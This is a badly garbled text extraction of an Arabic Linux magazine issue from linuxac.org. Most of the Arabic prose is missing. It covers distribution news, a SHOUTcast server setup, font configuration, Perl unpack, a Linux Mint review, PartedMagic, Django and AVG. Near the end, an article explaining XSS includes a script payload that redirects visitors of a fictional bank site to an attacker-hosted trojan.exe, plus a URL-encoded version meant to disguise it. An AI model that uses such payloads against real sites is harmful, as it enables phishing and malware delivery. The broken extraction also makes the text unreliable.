You are on page 1of 41

!!

/
http://www.linuxac.org

:
*

* : PartedMagic

*
!
*
USB
* Cross-site scripting : XSS
*

*
!
*

.

Walsh :


...............................................................................................
.............................................................................................


................................................................................................ Chromatic
! ..........
.....................................
: ..................
.............
"" : Linux Mint ! ..................
..............
: PartedMagic
.........................................................................................
Django ......................................................
AVG Anti-
.......................................................................................................... Virus
............................................. Cross-site scripting : XSS
: ....
........................................................................................................
........................................................................................

... ... ...


... ...!



.


.

""

: .

"" !
.

"" ""

!



.

Beta
Release
-
.

Live CD .


.

:

http://www.ojuba.org/downloads/releases/test/1-Beta/
Live/i686/Ojuba-1B2-Live.iso


DVD .

Cent OS 5.2 Live CD

Cent OS 5.2
.Live CD

Workstation

openofce.org 2.3.0, refox 3.0, thunderbird 2.0.0, pidgin 2.3.1, scribus 1.3.3.2, xchat 2.6.6, k3b 0.12.17,
gimp 2.2.13 .

.Rescue Environment

Critical
Canonical Ltd :

Ubuntu 6.06 LTS Ubuntu 7.04 Ubuntu 7.10 Ubuntu 8.04 LTS Kubuntu, Edubuntu, Xubuntu
.

Denial of Service loss of privacy .


Chromatic
:

""

" "chromatic

.
" " :Perl.com


.
:
... . ""
: "" O'Reilly
"
. " "Perl

" "" Parrot

.

"" " :"
. "" JAVA
""
""

.
"" MySQL "" ... PHP-MySQL!
PHP : "" : . mod_php
php.ini PHP
. mod_perl mod_php
mod_perl .mod_php
"" CPAN
"" "".
PHP "" "" ) .
PHP "" (.

:
Chromatic

"" "". :
"/" "".
"" ""
Shell "".
" " : )" " Larry"" Damian(
. ) "" ""( " ."
""
" "
" " .
" " " " " "
" ":

Lexically mutable, grammars, rst-class continuations, junctions, auto-threading, multiple dispatch,


roles, subtypes, declarative OO and more.


" "
" " ""
: . " " ""



"" .
" "

" "
.
: " :" Blender "" Python : ""

.
: .
.
.
.
.

:
Chromatic

Extreme Programming) (
: :
...
.
.

! :
!.

" " :
. !.
:
.

.
. .
.


!
:
""
.


Server .SHOUTcast.com :


http://www.shoutcast.com/download/license.phtml :
Terminal Root :
raidy@raiden:~$ su
************Password:
root@raiden:/home/raidy#
.radio

opt

: .
root@raiden:/home/raidy# mkdir /opt/radio
opt :
root@raiden:/home/raidy# cd /opt/radio
root@raiden:/opt#
wget
_http://www.shoutcast.com/downloads/sc1-9-8/sc_serv
1.9.8_Linux.tar.gz
:
root@raiden:/opt/radio# tar zxvf sc_serv_1.9.8_Linux.tar.gz
README.TXT
sc_serv.conf
sc_serv
.:
README.TXT "" .
sc_serv.conf .
sc_serv Server .
:
root@raiden:/opt/radio# chmod +x sc_serv
:
root@raiden:/opt/radio# ./sc_serv
*****************************************************************************
**
** SHOUTcast Distributed Network Audio Server
** Copyright (C) 1998-2004 Nullsoft, Inc. All Rights Reserved.
** Use "sc_serv lename.ini" to specify an ini le.
*****************************************************************************
-- --

. "" :

:
!

http://localhost:8000/

.
: "" README.TXT .
.Conguration .sc_serv.conf Nano
:
root@raiden:/opt/radio# nano sc_serv.conf
:
MaxUser=32
Internet .
.RAM
= .
= : .
. .
:
Password=changeme
:
http://localhost:8000/admin.cgi
:123
:

Password=123

PortBase=8000
Port .
.Root
.SSH
Firewall .
.
:
LogFile=sc_serv.log
.Log
/dev/null
. :
LogFile=my_radio_FM.log

:
!

RealTime=1
Update .

.
.

ScreenLog=1
Log .
.
.
:
. . .
:
Bytes . .Yes
:
.W3C :

:

ShowLastSongs=10

W3CEnable=Yes

W3CLog=sc_w3c.log
W3CLog=fm_user.w3c.log
SrcIP=ANY

"".
IP WinAmp
ANY .
"" IP
,,, . ,,,
. .ANY
:
DestIP=ANY
.IP .ANY
:
AllowPublicRelay=yes
yes .
.no
.
Save Ctrl+c :
root@raiden:/opt/radio# ./sc_serv
*****************************************************************************
**
** SHOUTcast Distributed Network Audio Server
** Copyright (C) 1998-2004 Nullsoft, Inc. All Rights Reserved.
** Use "sc_serv lename.ini" to specify an ini le.
*****************************************************************************
**
-- --

:
!

.
:

& root@raiden:/opt/radio# ./sc_serv


! ! . :.
! . . .

:Player

root@raiden:/opt# mkdir /opt/player


root@raiden:/opt# cd player/
:
root@raiden:/opt/player#
wget
_http://www.shoutcast.com/downloads/sc_trans
posix_040.tgz
root@raiden:/opt/player# tar zxvf sc_trans_posix_040.tgz
root@raiden:/opt/player# cd sc_trans_040/
FreeBSD :Macintosh
root@raiden:/opt/player/sc_trans_040# ls
example.lst sc_trans.conf sc_trans_freebsd* sc_trans_linux* sc_trans_ma*cosx
:
root@raiden:/opt/player/sc_trans_040# rm sc_trans_freebsd sc_trans_macosx
. :

example.lst

Play Li .
:

sc_trans.conf

.
:

sc_trans_linux

.
. :
/home/sctrans/content/test_1.mp3
/home/sctrans/content/test_2.mp3
:
root@raiden:~$ nd /home/raidy/mp3/ -name *.mp3 > playlist.lst

playlist.lst

/home/raidy/mp3/005-jay-z_and_linkin_park_-_numb-encore-ministry.mp3
/home/raidy/mp3/02-tatu-all_about_us_(stephane_k_extended_mix).mp3
/home/raidy/mp3/07. Malchik Gay.mp3
/home/raidy/mp3/Genesis vs Linkin Park--- Abacab-Faint by Ben Double M.mp3

:
!

:
root@raiden:/opt/player/sc_trans_040# nano sc_trans.
conf

:
PlaylistFile=example.lst

. playlist.lst

ServerIP=myserver.com
ServerPort=8000
"" IP Port
.
:
Password=yourpassword
.
:
StreamTitle=My Gay Son
StreamURL=http://mygayson.com
Genre=genres go here
. :
StreamTitle=linuxer
StreamURL=http://linuxac.org
Genre=some rock music
:
Shufe=1
Play List .
.
:

; Bitrate/SampleRate/Channels recommended values:


; 8kbps 8000/11025/1
; 16kbps 16000/11025/1
; 24kbps 24000/22050/1
; 32kbps 32000/22050/1
; 64kbps mono 64000/44100/1
; 64kbps stereo 64000/22050/2
; 96kbps stereo 96000/44100/2
; 128kbps stere0 128000/44100/2
Bitrate=80000
SampleRate=44100
Channels=1
. :
Channels=2
.

:
!

:
Router Firewall :

port forward

http://www.portforward.com/english/routers/port_forwarding/routerindex.htm

: Port Forwarding "" .


. :
root@raiden:/home/raidy# iptables -A INPUT -s yp.shoutcast.com -j DROP
root@raiden:/home/raidy# iptables -A OUTPUT -d yp.shoutcast.com -j DROP
! . :
root@raiden:/home/raidy# iptables -F


:
_root@raiden:/opt/player/sc_trans_040# ./sc_trans
linux
*****************************************************************************
** TRANScast Distributed Network Audio Content Provider
** Copyright (C) 2000 Nullsoft, Inc. All Rights Reserved.
** Use "sc_trans lename.conf" to specify a cong le.
*****************************************************************************
<06/30/08@07:49:54> [TRANSCast] DNAS/posix v0.400-LAME (Mar 4 2003) starting
up...
<06/30/08@07:49:54> [MAIN] PID: 4819
<06/30/08@07:49:54> [MAIN] Loaded cong from sc_trans.conf
- -- !
"" IP :
http://72.227.239.130:8000/
. Listen :

: DNS www.no-ip.org IP .DNS


!
:
"" Windows "" Linux
"" "" Microsoft
"" .

.
!
""!.
: Root .


Scripts :
Link :
.

/etc/fonts/conf.avail/
/etc/fonts/conf.d/

conf.d . ubuntu
Fedora Mandriva .
.autohint conf.d
:
$ ln /etc/fonts/conf.avail/10-autohint.conf /etc/fonts/conf.d/. -s
.
conf.avail antialias Fedora
) Mandriva (ubuntu :
:

gedit /etc/fonts/conf.avail/10-antialias.conf
:
>?"<?xml version="1.0
>"<!DOCTYPE fontcong SYSTEM "fonts.dtd
><fontcong
><!-- Use the Antialiasing --
>"<match target="font
><edit name="antialias" mode="assign"><bool>true</bool></edit
></match
></fontcong

: !

:
$ ln /etc/fonts/conf.avail/10-antialias.conf /etc/
fonts/conf.d/. -s
Fedora .Mandriva
:
:
$ gedit ~/.fonts.conf
:
>? "<?xml version="1.0
>"<!DOCTYPE fontcong SYSTEM "fonts.dtd
><fontcong
>"<match target="font
>"<edit name="autohint" mode="assign
><bool>true</bool
></edit
></match
></fontcong
"" Tahoma
.

System > Preferences > Appearance :


Fonts Sans .Tahoma
:
"" C:/Windows Fonts "" :
/home/User Name
:
.fonts
:
$ fc-cache -vf
:

:
:
" "
)( .
.

.

! ...! . .
. .
.
. .
.

"" ""

- .-
"" .

.
"" :
. . " " " " ""
.
"" . ... : IP .
""
... : ! .
" "++
...
.
"" : !.
"".
.
. " "
".

: :

"" " " "" .perl -d


) : "" " "perldoc perldebtut ""perldoc perldebug
.
(.
"".
... IP
... . ".
"" .
- ) ( read

substr...


read : substr

""
... ! : !.
: . unpack :

><pre
# Code fragment only; actually processing the retrieved data is left as an
)# exercise, etc. :
...
$A="le.img";open A or die "$A: $!";read A,$b,1024;@a=unpack "C4A40(A/A)4", $b
...
></pre

"" :
"" ... ! open read unpack! !
"" "" "" . .
- unpack template .

: :

. :
><pre
;"$A = "le.img
# Set $A equal to the le name
;"!open A or die "$A: $
# Open using the "new" syntax
;read A, $b, 1024
# Read 1kB from 'A' into $b
;@a = unpack "C4A40(A/A)4", $b
# Unpack $b into @a per template
></pre
) open ,, ( : $
.
perldoc -f pack .
.jug
:
C4
unsigned char
A40

(A/A)4


@a
:
]$a[0
IP
]$a[1
IP
]$a[2

]$a[3
IP
]$a[4

]$a[5

]$a[6

]$a[7

]$a[8

: :

.
.
"" ""
...) . (...
"" .
perldoc perlopentut
.
perldoc -f pack perldoc -f unpack
.
) ( parser
.
.

:
LinuxGazette.net

http://www.linuxgazette.net/issue88/okopnik.html


)(USB
:
""

! !

Grub ...
.
Live CD "" KDE . Gnome .
.Linux Mandriva Spring :

2008.1

: USB
Devices
.
.
:

:
Live CD .
... .
Live Install
.

Suivant Next . :

:
)(USB


.
Partitionnment personnalis
. .


. Continuer Continue
.

. hda
sda .
.sda

:
)(USB


.

:

sda Partition sda1




.

.Grub :
Grub mbr
.sda

sda1

...:

sda .sda1
Grub
:
timeout 10
color black/cyan yellow/cyan
gfxmenu (hd0,0)/boot/gfxmenu
default 0
title linux-Externe-DD_USB
kernel (hd0,0)/boot/vmlinuz BOOT_IMAGE=linux root=/dev/sda1 resume=/dev/sda5
splash=silent vga=791
initrd (hd0,0)/boot/initrd.img
:

)(hd0,0
hd0 ) (BIOS
) (hd1,2 ... .Devices

USB

hd0 hd1 .
- - ) Grub(

) hd0 hd1 (... .Title : linux-Externe-DD_USBlinux-Externe-


.with_Imprim USB .

"" : Linux Mint


!
:
* : Mint
.

"" "" Mint

"" .Mint 5
Mint

.
Mint 5 Ubuntu 8.04 LTS Hardy

.Heron Linux Mint 5 .


"" . :

Intel Corporation D102GGC2 :


Intel Pentium D 3.40 GHz :
Samsung 80GB ATA with 8GB allocated to VM disk :
2GB DDR2 RAM with 512MB allocated to VM memory :

Mint 5 . Ubuntu
Hardy Heron
Live
CD .
Mint MintAssistant ) (
Mint ""
Root .
Cookies Terminal

: "" : Linux Mint


!


Mint
openSUSE .

Mint 5 Themes Peppermint :


Wildmint Aurora .Lightning

Mint 5
""

.
"" :
Icons .Mint-Green

5
Graphics Card.

Mint

Ubuntu Mint
MintMenu .

"" .Gnome

/
Mint 5
MintMenu

MintUpdate MintInstall .

Mint , Ubuntu .
FireFox 3 : GIMP 2.4 OpenOfce.org 2.4 .
Mint .:
"" Flash Player Codecs
DVD .MP3

" "Synaptic

MintInstall
Mint.

/
: "" : Linux Mint
!

/
Mint 5
VM Hardware :
USB Ports ""
.Ethernet Card
""
.

.

Mint Envy
.

"" Mint Linux


"" ""
Windows .


.
" " Mint
Mint "" .



:
.
tmp/
.
.

.
.
.
) ,BASH, Korn, C-Shell(
.


.
) (.
.
.
rm .
) ( .

. .
.sudo
.
) ( .
. , ,
:
# chmod u+x scriptname
:
# chmod 0700 scriptname


, .
)
( .
.
Ssh -
.
expect . .

)( .
Shc . .
.




.

.
.
.


chdir .
) ( / .


. /
" if .
. /
.


.
.


. .
.
. .
.


.

: : /AS . SLA .
-http://searchenterpriselinux.techtarget.com/tip/0,289483,sid39_gci1216976,00.html:

: PartedMagic

:



Paragon Partition Manager

.Hiren's BootCD


.! Parted Magic

.Xfce
:

http://partedmagic.com/wiki/PartedMagic.php?n=PartedMagic.Downloads

CD USB ISO CD
.USB .



.

: : PartedMagic


: CD DVD


) (
.


.



Partitions
"" GRUB LILO

. :
""
"" Network
Internet

.


Terminal

: : PartedMagic

http://partedmagic.com/wiki/PartedMagic.php?n=PartedMagic.Programs

.


.Gparted
) :(

.

:


.
) :(


.

) :(

Delete
.
) :

(.
) :(
Resize/Move
Partition

.
) :(
.
) :(
. - -




.

Format to

.

: : PartedMagic

) :( - -

- New
New Partition
: .

) :(


.View
) :(

.
) :(
.Undo
) :(

.Apply
Parted Magic CD

.

Django
:

Django "" Web Applications


Framework - -

- .-

"" Web Application


"" : "" Internet Browser
..PHP, CSS, XML, Ruby, Python:
"" .Website ""

. ""
- WordPress.org -

- Gimp.org -

"" .

"" :Web Applications


"" .

Adobe
Desktop Applications "" .Web Applications
"" .:
"" .Internet


.
- - .

"" Web Application Framework


"" )
""( . . Java, Ruby, Python, PHP :

.

Classes
.


.

Django :



.
:
:Ruby On Rails .Ruby
:Catalyst .Perl :Grails .Groovy :CakePHP PHP .PHP

Django
Django .Python The World Online
- .Django
- -
Adrian Holovat, Simon Willison, Jacob Kaplan, Wilson Miner PHP
Python "" .
.

.
Django
"" Apache PostgresQL

The World Online


-Oracle, SQLite, MySQL

Django
- -
.:

:Archlinuxfr.org - Archlinux "" .-


:ChessPark.com
.

:Rst2a.com - -
PDF .HTML -.-
:Wegoeat.com Hawaii
.GoogleMaps
DjangoSites
.

Django :



.:
:Djangoproject.com .
.
:DjangoBlog .
RSS Reader .

:DjangoBook ""
.

.
:DjangoCode .
.
:DjangoSearch
: .


AVG Anti-Virus
:

""
:

http://free.grisoft.com/ww.download?prd=a

AVG .

!

rpm
deb :

... Debian based distribution .ubuntu


:

"" Gdebi Package Installer


.
.Install Package

:
AVG Anti-Virus

:Close

.Applications > AVG for Linux Workation


: Root
:

sudo passwd - -
su .
avgupdate -d .

Cross-site scripting : XSS


:
:
. .

XSS
XSS CSS Cross-site scripting

. Client

XSS

Trojan Root-Kit
.


.

.
Internet Explorer
.
.

XSS .

XSS
:

.
:
><script>alert(linuxac);</script

: Cross-site scripting : XSS


tag script


:
. XSS

Javascript .
HTML
Javascript.

XSS
XSS .
alert user-cookies cookies
.

. XSS

) HSBC
XSS (
www.bankzzz.com
. XSS :
><script>alert(test)</script

test
!

:
><script>document.location=http://greyhunterswebsite/trojan.exe;</script

.

: Cross-site scripting : XSS


:
http://www.bankzzz.com/search_results/search/&view_all=1&chg_lter=1&searchT
ype=content_basic&search_terms=%3Cscript%3Edocument.location=%22http://greyhunterswebsite/trojan.exe%22;%3C/script%3E

!! bankzzz
www.bankzzz.com
. .
.
! URL-Encoders
. Hex :
http://%40h%74%74p%3a%2f/
%67re%79hunte%72%2el%69%6eu%78%2ego%6fglepa%67e%73%2e%63%6fm%2ftro%6a%61%6e.%6
5%78e
.

XSS

.
.

: ..
!
:
)( !
.. !
,
!
)( )(
, ,
"
" !
, " " ! !
"" . " " "
" " " )( .
, "" !
: " " .!
!

""
!

! .. !
""
) ( ! !
"" , .
.. !
"/" .
, , .. , !


, , , , , ..
!
, .. !
! , , ! ,
.
, ) ( ! , ..
!
, , , , ! ,
! !
* : " " .

:
:
:

:










:

GreyHunter
uxCode
alsadi
Al AnWar
Regex
raptor

Dj.r4iDeN

Mutati0N
knoppix_dark

GreyHunter

You might also like